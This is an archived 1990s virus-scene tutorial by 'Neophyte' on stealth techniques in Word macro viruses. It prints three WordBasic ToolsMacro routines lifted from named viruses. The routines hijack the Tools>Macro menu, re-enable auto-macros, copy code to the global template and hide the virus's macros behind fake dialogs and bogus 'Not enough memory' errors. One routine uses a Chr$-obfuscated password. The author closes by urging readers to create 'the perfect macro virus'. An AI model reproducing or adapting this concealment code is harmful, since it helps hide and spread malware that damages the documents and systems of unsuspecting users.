home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / MVUPDAT7.ZIP / MACROVXU.ZIP / NEOWMTUT.ZIP / WMTUTSTL.TXT < prev   
Text File  |  1988-01-17  |  4KB  |  128 lines

  1. DIFFERENT STEALTH TECHNIQUES IN MACRO VIRII
  2. -------------------------------------------
  3.  
  4. I wasn't planning to make something real big from this so it's
  5. probably a bit short. You'll get a few examples but that's it.
  6.  
  7.  
  8. Most of the time the macros that take care of the stealth technique
  9. are named ToolsMacro (In the English version of Word) because if
  10. it's put in ToolsMacro it's automatticly executed when the user
  11. selects Tools-->Macro from the menu.
  12.  
  13. Here are a couple examples:
  14.  
  15. -----------------------------------------------------------
  16. Sub MAIN
  17.         On Error Goto ErrorRoutine
  18.  
  19.         OldName$ = NomFichier$()
  20.  
  21.         If macros.bDebug Then
  22.                 MsgBox "start ToolsMacro"
  23.                 Dim dlg As OutilsMacro
  24.                 If macros.bDebug Then MsgBox "1"
  25.                 GetCurValues dlg
  26.                 If macros.bDebug Then MsgBox "2"
  27.                 On Error Goto Skip
  28.                 Dialog dlg
  29.                 OutilsMacro dlg
  30. Skip:
  31.         On Error Goto ErrorRoutine              
  32.         End If
  33.  
  34.         REM enable automacros
  35.         DisableAutoMacros 0
  36.  
  37.         macros.SavToGlobal(OldName$)
  38.         macros.objectiv
  39.         Goto Done
  40.  
  41. ErrorRoutine:
  42.         On Error Goto Done
  43.         If macros.bDebug Then
  44.                 MsgBox "error " + Str$(Err) + " occurred"
  45.         End If
  46.  
  47. Done:
  48. End Sub
  49. -----------------------------------------------------------
  50. This one is from 'the macro virus writing tuturial' from Dark Night.
  51.  
  52. Or you could use:
  53.  
  54. -----------------------------------------------------------
  55. Sub MAIN
  56. Dim dlg As OutilsMacro
  57. GetCurValues dlg
  58. On Error Resume Next
  59.  
  60. Diag$ = "0"
  61. Section$ = "Compatibility"
  62. wininistr$ = "0x0020401"
  63. ProfileName$ = "RR2CD"
  64. PrintText$ = "Brought to you by the Nemesis Corporation, 1996"
  65. Password$ = Chr$(120) + Chr$(101) + Chr$(110) + Chr$(105) + Chr$(120) + Chr$(111) + Chr$(115)
  66.  
  67. NoVir$ = GetProfileString$(Section$, ProfileName$)
  68. If (NoVir$ = wininistr$) Or (diag$ = "1") Then
  69.    Dialog dlg
  70.    OutilsMacro dlg
  71. Else
  72.    MsgBox "This option is not available right now.", "Warning", 48
  73. End If
  74.  
  75. End Sub
  76. -----------------------------------------------------------
  77. This one is from the Nemesis (Xenixos) virus. I've changed it
  78. a bit.
  79.  
  80. And finally to give another example, from the MooNRaiDer virus.
  81. -----------------------------------------------------------
  82. Sub MAIN
  83. Dim ComboBox1$(0)
  84. ComboBox1$(0) = ""
  85. Dim ListBox1$(0)
  86. ListBox1$(0) = ""
  87. Dim DropListBox2$(0)
  88. DropListBox2$(0) = "Normal.dot"
  89. Begin Dialog UserDialog 442, 320, "Macro"
  90.         PushButton 290, 14, 141, 21, "Rec&ord...", .Definierbar2
  91.     CancelButton 290, 43, 141, 21
  92.         PushButton 290, 72, 141, 21, "&Run", .Definierbar3
  93.         PushButton 290, 102, 141, 21, "&Edit", .Definierbar4
  94.         PushButton 290, 130, 141, 21, "&Delete", .Definierbar5
  95.         PushButton 290, 166, 141, 21, "Or&ganizer...", .Definierbar6
  96.     ComboBox 7, 23, 269, 194, ComboBox1$(), .ComboBox1
  97.         Text 6, 223, 93, 13, "Macros &Available In:", .Text1
  98.         Text 7, 259, 109, 13, "Descr&iption:", .Text2
  99.         Text 7, 6, 93, 13, "Macros:", .Text3
  100.     ListBox 7, 276, 425, 38, ListBox1$(), .ListBox1
  101.     DropListBox 6, 238, 425, 19, DropListBox2$(), .ListBox2
  102. End Dialog
  103.  
  104. Redim dlg As UserDialog
  105. x = Dialog(dlg)
  106. Select Case x
  107. Case 0
  108. Cancel
  109. Case 1
  110. MsgBox "Not enough memory", "WordBasic Err = 7"
  111. Case 2
  112. MsgBox "Not enough memory", "WordBasic Err = 7"
  113. Case 3
  114. MsgBox "Not enough memory", "WordBasic Err = 7"
  115. Case 4
  116. MsgBox "Not enough memory", "WordBasic Err = 7"
  117. Case 5
  118. MsgBox "Not enough memory", "WordBasic Err = 7"
  119. End Select
  120. End Sub
  121. -----------------------------------------------------------
  122. Ok, I know it isn't anything more then just some stolen macros
  123. but maybe you get some inspiration from this and you will end up
  124. creating the perfect macro virus, who knows...
  125.  
  126.                     --- Neophyte ---
  127.  
  128.